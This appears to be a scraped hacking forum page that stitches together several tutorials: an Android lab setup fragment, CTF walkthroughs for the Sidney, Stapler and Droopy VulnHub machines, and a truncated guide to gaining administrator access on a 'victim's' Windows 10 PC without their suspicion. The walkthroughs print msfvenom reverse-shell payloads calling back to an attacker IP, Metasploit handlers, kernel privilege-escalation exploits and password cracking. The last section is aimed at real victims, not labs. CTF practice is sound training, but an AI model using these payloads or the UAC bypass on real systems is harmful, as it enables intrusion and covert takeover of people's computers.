Select the device according to your need and click next. Then in this sections your review the configuration of android mobile device and finally create virtual device.
Now the device will start download the data and deploy the virtual android device.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-E0gG8S6R78E/V8u5t1qRJLI/AAAAAAAANfA/2LFg2TSE2507_IMJrs4nxJoRiCZdjo3PQCLcB/s1600/17.png?w=687&ssl=1)
Here you can see I created 2 virtual devices. Now select the devices and launch it.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-uqaIY9EREoU/V8u5uC2rV8I/AAAAAAAANfE/VhYFmpnw_AEXDxtDfoR3etEeeoJEZsNmgCLcB/s1600/18.png?w=687&ssl=1)
Here is our Android Virtual Device.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-mwnwWeWJlHQ/V8u5ubJB-rI/AAAAAAAANfI/M_vI3cNCkdghXyj3eY7EA1VDw9Ag5lA0ACLcB/s1600/19.png?w=687&ssl=1)
To test our application for any kind of vulnerability we need Android SDK because in our testing phase we will be going to use ADB (Android Debugger Bridge) command line almost every time. And Android SDK is preinstalled in Santoku OS. So, now we are going to connect santoku to our Android Virtual Device.
Fists check the IP of Android Virtual Device.
Now open command line in Santoku and type:
adb connect <IP of Android Virtual Device>
You can check whether device is connected or not by typing:
adb devices
So here we can see that list is showing that 1 device connected.
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Kmz8T9hq4CQ/V8u5veLz0eI/AAAAAAAANfU/sRp11t_SY84wFnXW5rbEeZ-2_CdnBa-ZgCLcB/s1600/21.png?w=687&ssl=1)
And here you can also run shell to enter in android mobile by typing:
adb shell
So here creating penetration testing lab for android application is completed now stay tuned for next article on actual android app penetration testing and hacking.
Today we will take up a boot2root challenge by Nightmares. We will work on Sidney: 0.2 made by Nightmares. This is the third challenge he genially came up with. The VM is set to grab a DHCP lease on boot. As before, gaining root is not the end of this VM. You will need to snag the flag. You can download this VM from –> [To see content please register here]
Breaching Methodologies:- Network Scanning (Nmap, netdiscover)
- webserver enumeration (view source)
- Directory brute-force (dirb)
- Generate own Dictionary (crunch)
- Login into the admin console
- Generate PHP Backdoor (Msfvenom)
- Upload and execute a backdoor
- Reverse connection (Metasploit)
- Kernel privilege escalation (Metasploit)
- Gain root access
- Penetrate for flag.zip
- Access Ram and finished the task
First things we need to know what IP did the VM got. So naturally, scan the network using:
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-u4dqonEtG3Q/WvMjqybkMQI/AAAAAAAAWyY/6DiF2bKPKRkPzf4htOAX31ShhVdPb8F7wCLcBGAs/s1600/1.png?w=687&ssl=1)
Now that we have located our target IP i.e. 192.168.1.103, our next step is to scan it.
nmap -A -p- 192.168.1.103
1
nmap -A -p- 192.168.1.103
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-EVvUkXEo6mU/WvMjt4ovEII/AAAAAAAAWzI/_kVwh1A2GYER2__1tJC5n5bmojd0sv-3QCLcBGAs/s1600/2.png?w=687&ssl=1)
Upon scanning we know that port number 80 is open that means this IP will open in the browser so let us try and do that.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-YG14oG51IT4/WvMju2vMFoI/AAAAAAAAWzU/zLBzEmomvckItD0vRLjz3fr5U5Vuf2DGwCLcBGAs/s1600/3.png?w=687&ssl=1)
Then we decided to look into its page source.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Ae0KqNytZLA/WvMju8WdmcI/AAAAAAAAWzY/0iWoDbC9FFUSwRmltgWK0hAL4qM2qI9TwCLcBGAs/s1600/4.png?w=687&ssl=1)
So we opened it in the browser (192.168.1.103/commorode64) and to our luck, we found another page.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-gr-EkPYSQow/WvMju7T9H2I/AAAAAAAAWzc/-y-dVLBv0_4uhwBiGRcU-NQnmBMlrbSEQCLcBGAs/s1600/5.png?w=687&ssl=1)
As you will read the page source you will come to know that username is robhubbard and going further you will find some hints about the password i.e. :- the password is in lowercase
- the password has 3 letters and four digits
- and it is related to c=64 sound chip
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8dmc7HWYce8/WvMjvYG7_sI/AAAAAAAAWzg/Ed9murPSViY4EibgjEODM-c3SxdyKJVDwCLcBGAs/s1600/6.png?w=687&ssl=1)
Then we run dirb for web directory brute-force attack and here it has shown so many directories. But I was interested in index.php and decide to explore it.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-t7CuEZtd9oA/WvMjvjuD8wI/AAAAAAAAWzk/8u5N4TsvVCMv4QocU46CLRP5OxXaHyxDwCLcBGAs/s1600/7.png?w=687&ssl=1)
So we opened it and as you can see it is asking for username and password. Now, we already know what is the username, we just have to find the password.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-IDDzINTrp84/WvMjv6cmJyI/AAAAAAAAWzo/ghh6_20z6g4QRfjWuyukN4bazAio4ftRQCLcBGAs/s1600/8.png?w=687&ssl=1)
Getting the above hints about the password, we first decided to look up the c=64 sound chip on Wikipedia. And we found:
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-7ag1hqfxaCs/WvMjwJakrQI/AAAAAAAAWzs/1N0874zcfcoTAzmFSMvPyouZSGpztbuxACLcBGAs/s1600/9.png?w=687&ssl=1)
We knew that password’s first three digits are alphabetic letters and so our best guess is MOS is the first three digits of the password.
Now everything falls on the last four digits of the password and finds that we used crunch command.
crunch 7 7 -t mos%%%% -o /root/Desktop/dict.txt
1
crunch 7 7 -t mos%%%% -o /root/Desktop/dict.txt
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-t9b9w25NYQI/WvMjq5mQt1I/AAAAAAAAWyc/j9MtvD0zM6Qj5rEgR5r_dEeC3WLoM2yUwCLcBGAs/s1600/10.png?w=687&ssl=1)
Crunch will generate your dictionary file.
And then apply dictionary attack using Burp Suite and then it will result in showing you the password as shown below:
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5Rp-K1ZUkwA/WvMjq_0clCI/AAAAAAAAWyg/4r74ij8tXZMdZSvnJ_GacnThPL0qjB99ACLcBGAs/s1600/11.png?w=687&ssl=1)
Now on the index.php page enter the username and password. The following page will open and on this page, you have to upload a malicious php file.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-vJK4WjIZW2A/WvMjrid43jI/AAAAAAAAWyk/FIpisKnYEkwmu_XbC4WPIRTn9xpnPTaAQCLcBGAs/s1600/12.png?w=687&ssl=1)
Entering the password you will login to the following page:
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-tQR-m-iVsAU/WvMjrxSrH2I/AAAAAAAAWyo/KfI2RhJ5VxAten79KEADyTO6BI5s6EGBACLcBGAs/s1600/13.png?w=687&ssl=1)
Now to generate the said php open the terminal in your Kali and type:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
Simultaneously start multi handler inside Metasploit framework.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-Sm_pFalG-Iw/WvMjsGKffCI/AAAAAAAAWys/hnhsKjHt6XwbReOgSSdxrSWCebrrTsL4QCLcBGAs/s1600/14.png?w=687&ssl=1)
Copy the code from <?php to die() and save it in a file with .php extension. Now upload this file by browsing it on the webpage.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-NJZ2464fq9A/WvMjsMkTp8I/AAAAAAAAWyw/K37wcVaYBa0POdIEcuq4KdJYN24Lsu8uwCLcBGAs/s1600/15.png?w=687&ssl=1)
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-JVuxVYJXDr8/WvMjsj4DvlI/AAAAAAAAWy0/rjvKT9G5odowbXeTkKEUmgxJiwEbAYCKQCLcBGAs/s1600/16.png?w=687&ssl=1)
By executing sysinfo we came to know about the target’s architecture i.e. kernel 4.4, and with help of this, we found Metasploit exploit for kernel privilege escalation. Further type following command:
use exploit/linux/local/bpf_priv_esc
msf exploit(linux/local/bpf_priv_esc) > set session 1
msf exploit(linux/local/bpf_priv_esc) > set lhost 192.168.1.108
msf exploit(linux/local/bpf_priv_esc) > set lport 8888
msf exploit(linux/local/bpf_priv_esc) > exploit
1
2
3
4
5
use exploit/linux/local/bpf_priv_esc
msf exploit(linux/local/bpf_priv_esc) > set session 1
msf exploit(linux/local/bpf_priv_esc) > set lhost 192.168.1.108
msf exploit(linux/local/bpf_priv_esc) > set lport 8888
msf exploit(linux/local/bpf_priv_esc) > exploit
And it will give a 2nd meterpreter session with root privilege, now let’s get into the root directory and capture the flag.
cd /root
ls
1
2
cd /root
ls
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-UaxGRqFd_lA/WvMjs4PRMfI/AAAAAAAAWy4/ALzFk9HnQKQr9V23_wrn2n03tUyUUHHpQCLcBGAs/s1600/18.png?w=687&ssl=1)
It gave us a hint.gif file, let’s download it.
download hint.gif /root/Desktop/
1
download hint.gif /root/Desktop/
![[Image: 19.1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-y5RcN3_EY94/WvMjs1FLIEI/AAAAAAAAWy8/sDqjIkWFG04gJA82vwKskpriG3Bm5XJYgCLcBGAs/s1600/19.1.png?w=687&ssl=1)
So when we opened hint.gif it has shown below image and I was unable to take-out hint from their conversation.
![[Image: 19.2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-HEF34fPlFuw/WvMjtef2NCI/AAAAAAAAWzA/Q20-rcpH-cMn7YYdRMMwWo4EjnysQ_THACLcBGAs/s1600/19.2.png?w=687&ssl=1)
Further, I execute the following command:
cd .commodor64
ls
cd .miami
ls
cd vice
ls
1
2
3
4
5
6
cd .commodor64
ls
cd .miami
ls
cd vice
ls
Here is flag.zip file let’s download it on our desktop with help of the following command:
download flag.zip /root/Desktop/
1
download flag.zip /root/Desktop/
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-0mu_eXsP3Lg/WvMjtpigWCI/AAAAAAAAWzE/vW89F7K74_AWqmx6PBGL4387_tfPmqoKgCLcBGAs/s1600/19.png?w=687&ssl=1)
We will apply dictionary attack using rockyou.txt so for this the command is:
fcrackzip -vuD -p /usr/share/wordlists/rockyou.txt flag.zip
1
fcrackzip -vuD -p /usr/share/wordlists/rockyou.txt flag.zip
And yes, at last, you have the password. So now unzip the flag.zip by typing:
unzip flag.zip
1
unzip flag.zip
Then it will ask you the password. Enter the recently obtained password here.
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-uCWU6bRbtHU/WvMjt5KH-nI/AAAAAAAAWzM/GK2MFsgsn5kvQgyhJdumQn4JQs5GCeNcACLcBGAs/s1600/21.png?w=687&ssl=1)
And YAY!!!!! We have captured the Flag!!! Enjoy with it.
|
|
|
|
| [Guide] How to Hack the Stapler VM (CTF Challenge) |
|
Posted by: NINZA - 04-24-2020, 03:02 PM - Forum: General Discussion
- No Replies
|
 |
In this article, we will try to attack and gain root access to the Stapler: 1 challenge from VulnHub. The goal is to reconnaissance, enumeration, and exploits this vulnerable machine to get root access and to read the contents of flag.txt. We have been told that are various methods to do so but we have tried and found the simplest way.
Download the stapler VM from [To see content please register here]
Penetrating Methodology:
- Network Scanning (Nmap, netdiscover)
- Enumeration (robot.txt)
- WordPress scanning & password cracking (wpscan)
- Login into WordPress
- Generate PHP Backdoor (Msfvenom)
- Upload and execute a backdoor
- Reverse connection (Metasploit)
- Import python one-liner for proper TTY shell
- Kernel privilege escalation
- Get Root access and capture the flag.
Start off with scanning the network to find our target. And we all the command for it is:
netdiscover
1
netdiscover
We found our target –> 192.168.1.126
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-dehREJwYRFQ/Wu6LHvgWbeI/AAAAAAAAWtE/hdVSlMcigHA1kEUGiDY7z-z9uM1404FgQCLcBGAs/s1600/1.png?w=687&ssl=1)
To scan our target IP we will use aggressive scan (-A)
nmap -p- -A 192.168.1.126
1
nmap -p- -A 192.168.1.126
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-99gARP7hmrk/Wu6LIcmJh4I/AAAAAAAAWtQ/BlpBViFMB_gDAx-mYNWuR9k7LN3Z388rQCLcBGAs/s1600/2.png?w=687&ssl=1)
The result will show us that port number 21, 22, 53, 80, 137, 139, and so many other ports are open.
![[Image: 3.1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-qWxOjAz2pDU/Wu6LKAt5n5I/AAAAAAAAWtw/o-HaSbtR2nAWDe0leNN7m1Wx_uAP9E0kgCLcBGAs/s1600/3.1.png?w=687&ssl=1)
Also tell us about robot.txt 2 disallowed entries i.e. /admin112233 and /blogblog. Then we explored target IP over port 80 but didn’t found anything here.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-SoYXgTlCHS8/Wu6LKeRn1tI/AAAAAAAAWt0/Jv4NX8CAoIwUSo1rOw14HRAGAZYYqaYqACLcBGAs/s1600/3.png?w=687&ssl=1)
So we tried opening it in the browser with port 12380
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5nVzzF9QvHg/Wu6LKj8GAvI/AAAAAAAAWt4/fGkqE975uMImId1i6fKf-nPQz3D-dFfWACLcBGAs/s1600/4.png?w=687&ssl=1)
We open /blogblog/ but here also didn’t find any clue for the next step.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-hh-Wqqr_6e0/Wu6LK8y4c3I/AAAAAAAAWt8/pAid0IwLAeIM2TiY4JujHUAeewNCCBKKQCLcBGAs/s1600/5.png?w=687&ssl=1)
Then we thought to explore [To see content please register here] which put up a new web page as shown below. Studying this blog we have established that the blog is made of Word Press. Now obviously use WPScan to know all about the blog.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-WsqmFFic6xc/Wu6LKyNPGVI/AAAAAAAAWuA/qRWo4sKObcM1IoM-4aLiZrKPbtLsq-m9gCLcBGAs/s1600/6.png?w=687&ssl=1)
To apply wpscan we have come up with a 3-in-1 command as it will tell us all about the theme and plug-ins as well as usernames and the command is:
wpscan -u [To see content please register here] --enumerate at --enumerate ap --enumerate u --disable-tls-checks
1
wpscan -u [To see content please register here] --enumerate at --enumerate ap --enumerate u --disable-tls-checks
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-P20lmEmzTzA/Wu6LLHVJtgI/AAAAAAAAWuE/6MiTPTBZ3KYkloTKyenSpq_CwTavgf8WwCLcBGAs/s1600/7.png?w=687&ssl=1)
It has dumped all username for login, now we only need a password for login into WordPress.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-_rQUtIdfrP0/Wu6LLSQTRvI/AAAAAAAAWuI/NMi0xujFad0oboABqLEvLrmL-qsm54IsQCLcBGAs/s1600/8.png?w=687&ssl=1)
By executing below command you will get a password for John.
wpscan -u [To see content please register here] --username John --wordlist /usr/share/wordlists/rockyou.txt
1
wpscan -u [To see content please register here] --username John --wordlist /usr/share/wordlists/rockyou.txt
As you can see the password is “incorrect” for user “john”; now use these credential for login into WordPress.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-jNwc8Xh9UEg/Wu6LLTlA63I/AAAAAAAAWuM/dXft0OZJU1IJpN4gydSESqWXXH49DqqWACLcBGAs/s1600/9.png?w=687&ssl=1)
As we logged in, all now we have to do is to create our PHP code to upload so that once the code will execute we will have its session. To generate the code type:
msfvenom -p php/meterpreter/reverse_tcp lhost-192.168.1.132 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost-192.168.1.132 lport=4444 -f raw
On the other hand run multi/handler inside Metasploit framework.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-2TqcDAQXLws/Wu6LH_ExyGI/AAAAAAAAWtI/GLUDERmQH80PWHvczLInv-VwmZqyw5gogCLcBGAs/s1600/18.png?w=687&ssl=1)
Copy the code from <?php to die() and save it in a file with .php extension.
Now, as we already logged on, go to plugins option then select add plugin option. Click on browse option and select the PHP in which you have just saved the code and click on OK.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-wrGfi7VqvqM/Wu6LH7Hl1KI/AAAAAAAAWtM/bWQWff_Osxst9s70Ppr3tWplAo5kyx-pQCLcBGAs/s1600/19.png?w=687&ssl=1)
Now go to the upload directory and double click on the shell.php which you just uploaded.
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-QdVkHpYfvGY/Wu6LIuurY1I/AAAAAAAAWtU/ikS5PGnWYP8VWAak8xkdodH1m5Z8QgfugCLcBGAs/s1600/20.png?w=687&ssl=1)
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.132
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.132
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation. Further type:
sysinfo
Then to access proper TTY shell we had import python one line script by typing following:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
1
2
3
shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-D0s2PqggFls/Wu6LI6gAeJI/AAAAAAAAWtY/LVHq4w-D4eUvsdyvDxwTtPumHRvytFk_ACLcBGAs/s1600/21.png?w=687&ssl=1)
We now know that our target is using Ubuntu 16.04 so we will try and search its exploit on exploit-db.com. Our search is successful and we have found our appropriate exploit as shown below:
![[Image: 22.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-4ZSUHklfL08/Wu6LJOd3rlI/AAAAAAAAWtc/_dpJumQ8kRoeBUg01XLEAQmQ6U4rpFoBACLcBGAs/s1600/22.png?w=687&ssl=1)
Now, we need to go into the desired writable file and for that type:
cd /tmp
1
cd /tmp
And then to download the exploit type:
wget [To see content please register here]
1
wget [To see content please register here]
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-K2zInupIcc8/Wu6LJQBrzcI/AAAAAAAAWtg/c1fkF6XT9OU8eZWQG11MhG0QIh8wI1YPgCLcBGAs/s1600/23.png?w=687&ssl=1)
When we download the exploit, zip files are downloaded and now unzip it and for that type:
unzip 39772.zip
1
unzip 39772.zip
Open the unzipped file by typing:
ls
cd 39772
1
2
ls
cd 39772
Now we have a tar file named exploit.tar. Open it with the following command:
tar -xvf exploit.tar
1
tar -xvf exploit.tar
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-aUJw4WoyobI/Wu6LJuIa8zI/AAAAAAAAWtk/AYA0hVoaXSIOL3BPmV-1DAX1vOQ5IMbJgCLcBGAs/s1600/24.png?w=687&ssl=1)
Now use the ls command to view the directories. Now we will go into the double put-exploit folder and for that type:
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh (will run the compile.sh)
./doubleput (will run the double.sh)
1
2
3
4
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh (will run the compile.sh)
./doubleput (will run the double.sh)
![[Image: 25.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-61ccyS73qgQ/Wu6LJyjcm1I/AAAAAAAAWto/s-59R8zmsdQ_hJYpKz0I6vCNZScO4J90QCLcBGAs/s1600/25.png?w=687&ssl=1)
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
Note: This lab can be solved in multiple ways because there is more than one method to hack this lab.
![[Image: 26.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-DOqzOAYixL0/Wu6LKPUCEXI/AAAAAAAAWts/VTP-gyx4_HYuF3E5CARJt3uV4-cOEZHhgCLcBGAs/s1600/26.png?w=687&ssl=1)
Welcome to another boot2root CTF Challenge “Droopy:” uploaded by knightmare on vulnhub. As, there is a theme, and you will need to snag the flag in order to complete the challenge and you can download it from [To see content please register here]
Penetrating Methodologies:- Network Scanning (Netdiscover, Nmap)
- Identifies Drupal CMS
- Exploiting Drupal CMs (Metasploit)
- Privilege Escalation with Kernel Exploit
- Uploading and Downloading dave.tc from /www/html
- Generate a Dictionary with the help of rockyou.txt
- Brute Force attack on Truecrypt Volume (Truecrack)
- Decrypting File (Veracrypt)
- Capture the Flag
Walkthrough
Let us start by scanning the network so that we can know the IP of our target. And to scan the network types the following:
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-kkZgepVQR2g/W75FXGtV4bI/AAAAAAAAan4/bKcUr6Habp4Us2MuAbHkijmrLgBY0X09wCLcBGAs/s1600/1.png?w=687&ssl=1)
So by using the above command, we know our target IP is 192.168.1.102. Now that we know our target IP, let’s study it more by using nmap :
nmap -p- -A 192.168.1.102
1
nmap -p- -A 192.168.1.102
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-EBh422G0Lno/W75FYq3ZJNI/AAAAAAAAaoI/f5XttZ31APYmQyTllW5vOaN64sHyH002gCEwYBhgL/s1600/2.png?w=687&ssl=1)
By using nmap we find that port no. 80 is the only one that is opened. So, therefore, lets fire up the IP in the browser.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-n_19Fcvl0sQ/W75FZfFmR9I/AAAAAAAAaoc/zH5FRqR4qCQcVRSh8jt6ZQc2Vsg58cjaQCEwYBhgL/s1600/3.png?w=687&ssl=1)
By studying the webpage we get to know that the website has been made in Drupal CMS. And we all know that there is a very effective exploit for it in Metasploit and to use that type :
use exploit/multi/http/drupal_drupageddon
set rhost 192.168.1.102
exploit
1
2
3
use exploit/multi/http/drupal_drupageddon
set rhost 192.168.1.102
exploit
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-WZqmVzw28uQ/W75FZd2zsqI/AAAAAAAAaoY/O7zNM8WKLb8VEoEN6nspf8I-6EFcZFB0wCEwYBhgL/s1600/4.png?w=687&ssl=1)
By executing the sysinfo command, we have enumerated the version of kernel ” 3.13.0″ installed in the victim’s machine. then we look its exploit for privilege escalation with help of the following command.
searchsploit 3.13.0
1
searchsploit 3.13.0
Luckily we found an exploit “overlayfs local Privilege” at path /usr/share/exploitdb/exploits/Linux/local/37292.c and even you can copy this file on the desktop.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-DjhDz-6BYJc/W75FZt_mLTI/AAAAAAAAaog/1nzxM6ECwJU7taPvwZGz8EX23103vHuRwCEwYBhgL/s1600/5.png?w=687&ssl=1)
Go to the /tmp folder by typing cd /tmp and upload the exploit there by typing :
upload /root/Desktop/37292.c
1
upload /root/Desktop/37292.c
Once the exploit is uploaded, go to the shell by simply giving shell command. And then type :
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
And then type the following command to compile the exploit :
gcc 37292.c -o shell
1
gcc 37292.c -o shell
once the exploit is compiled give the permissions to shell :
chmod 777 shell
1
chmod 777 shell
And then run the ./shell command for your exploit to work. This is the exploit for privilege escalation so when this exploit runs, you will have your privilege to the VM.
After this check, you id by simply typing id. It shows that you are the root. So let’s jump to the folder root by typing cd /root and then type ls to check the file inside the root folder. And here we have one file in the root. Let’s copy it to var/www/html so we can open the file in the browser :
cp dave.tc /var/www/html
1
cp dave.tc /var/www/html
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-3fX8lvOc3U8/W75FaIuxcnI/AAAAAAAAaok/OAlFb1wJzgkYc5NxE4SyfUJvlVPtpMMrACEwYBhgL/s1600/6.png?w=687&ssl=1)
Now, let’s open the file in the browser by typing :
192.168.1.102/dave.tc
1
192.168.1.102/dave.tc
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-H8Y8JIgWiRg/W75FaJM2j7I/AAAAAAAAaoo/zV98sBxjuZM3VGTN6qkUAfogdNP5V4apgCEwYBhgL/s1600/8.png?w=687&ssl=1)
And then we will go into the /var by typing cd /var and then type ls to view its content. Now, let’s go into the mail by typing cd mail and then ls to view its content. And the type cat www-data to read whatever’s inside it.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kWZqEiYCke0/W75FXN849zI/AAAAAAAAaow/Pv0TPdbKQb4VYse7dyfHNfsXHDQgPDS8ACEwYBhgL/s1600/11.png?w=687&ssl=1)
In www-data we find a mail. This mail gives us two hints about the password that we need i.e. we will find our password in the rockyou wordlist and password contain prefix or suffix “academy”. So we will take all the words from rockyou wordlist that has an academy in it and make a different wordlist with all the possible passwords. And for this type :
cat rockyou.txt | grep academy > /root/Desktop/dict.txt
1
cat rockyou.txt | grep academy > /root/Desktop/dict.txt
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-BLSNb5qC6AU/W75FXPjkdaI/AAAAAAAAao8/YBbFIJstBbYy66GwVc9J1Q5GTIWxSl97gCEwYBhgL/s1600/15.png?w=687&ssl=1)
Now from the wordlist, that we just created, we will apply a dictionary attack to have our password. And so for this type :
truecrack --truecrypt /root/Downloads/dave.tc -k SHA512 -w /root/Desktop/dict.txt
1
truecrack --truecrypt /root/Downloads/dave.tc -k SHA512 -w /root/Desktop/dict.txt
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-_uJAhKSrvQg/W75FXsY1V2I/AAAAAAAAao4/XSkM-XTyNkIpt7O1CG0vzGulPWvWxjt0ACEwYBhgL/s1600/16.png?w=687&ssl=1)
Now using veracrypt we can decrypt the file.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-4Es4H4PQnT8/W75FX0TYKtI/AAAAAAAAao4/GZV3zfy8LG8scslczz-ltr9xOpqA7Db3wCEwYBhgL/s1600/18.png?w=687&ssl=1)
To decrypt the file enter the password that we just found.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-0mC1nXadgdQ/W75FYafp_mI/AAAAAAAAapA/EyFEVUsQzc0Eo9V6zbxmvNLrz3FEUhI4QCEwYBhgL/s1600/19.png?w=687&ssl=1)
Once it opens you can see all of its content.
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-e8OlOTPZ60Q/W75FYuGUCmI/AAAAAAAAaow/xITO4fKTwKEDRFxQSjzrZOGzoyOh01b1ACEwYBhgL/s1600/20.png?w=687&ssl=1)
Following are the folders you will find in it.
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-aU23mGdXrjU/W75FYkAv4iI/AAAAAAAAao0/lyVtDXHZy74zMOkRNdHNtStsNoTeu1QbwCEwYBhgL/s1600/21.png?w=687&ssl=1)
Open its path in the terminal of kali and type ls -la to view the files. Open secret by typing cd .secret and the type ls -la to see its content. And then open .top by typing cd .top and then type ls -la to see all the files in it. There you will find flag.txt, type cat flag.txt to view the flag.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-eHTLDML3Zh4/W75FZEam-UI/AAAAAAAAao0/Ee-pe8FPa9o5bpZt4U6RpwMHG1AoOR46ACEwYBhgL/s1600/22.png?w=687&ssl=1)
And yippee!!! We found our flag. ?
Microsoft is increasing its security with the evolution of their windows. And with that it is getting more and more difficult to hack them. It is often said “where there is will; there is a way”, threfore thankfully it is not impossible to do so. Once you have hacked into WIndows 10 PC then it is difficult to gain it administrator access without getting your victim suspicious. Therefore, we present you a new way to do so.
Move along with following steps and you will learn how to gain administrator access of windows 10 PC without the Victim’s suspicion.
First of all, to learn to how to hack victim’s PC click [To see content please register here] .
After hacking when you have gained a meterpreter session then type :
getsystem
using this command you will confirm the fact that you have not entered the administrator yet. So now, there is no need to worry. Just download this Tpinit file from –> [To see content please register here]
And now upload the said file into victim’s PC by typing :
upload /root/Desktop/TpmIniyUACBypass.exe d:\\
Here,
upload –> is use to upload a file
/root/Desktop/TpmIniyUACBypass.exe –> is the path of the file that is to be uploaded
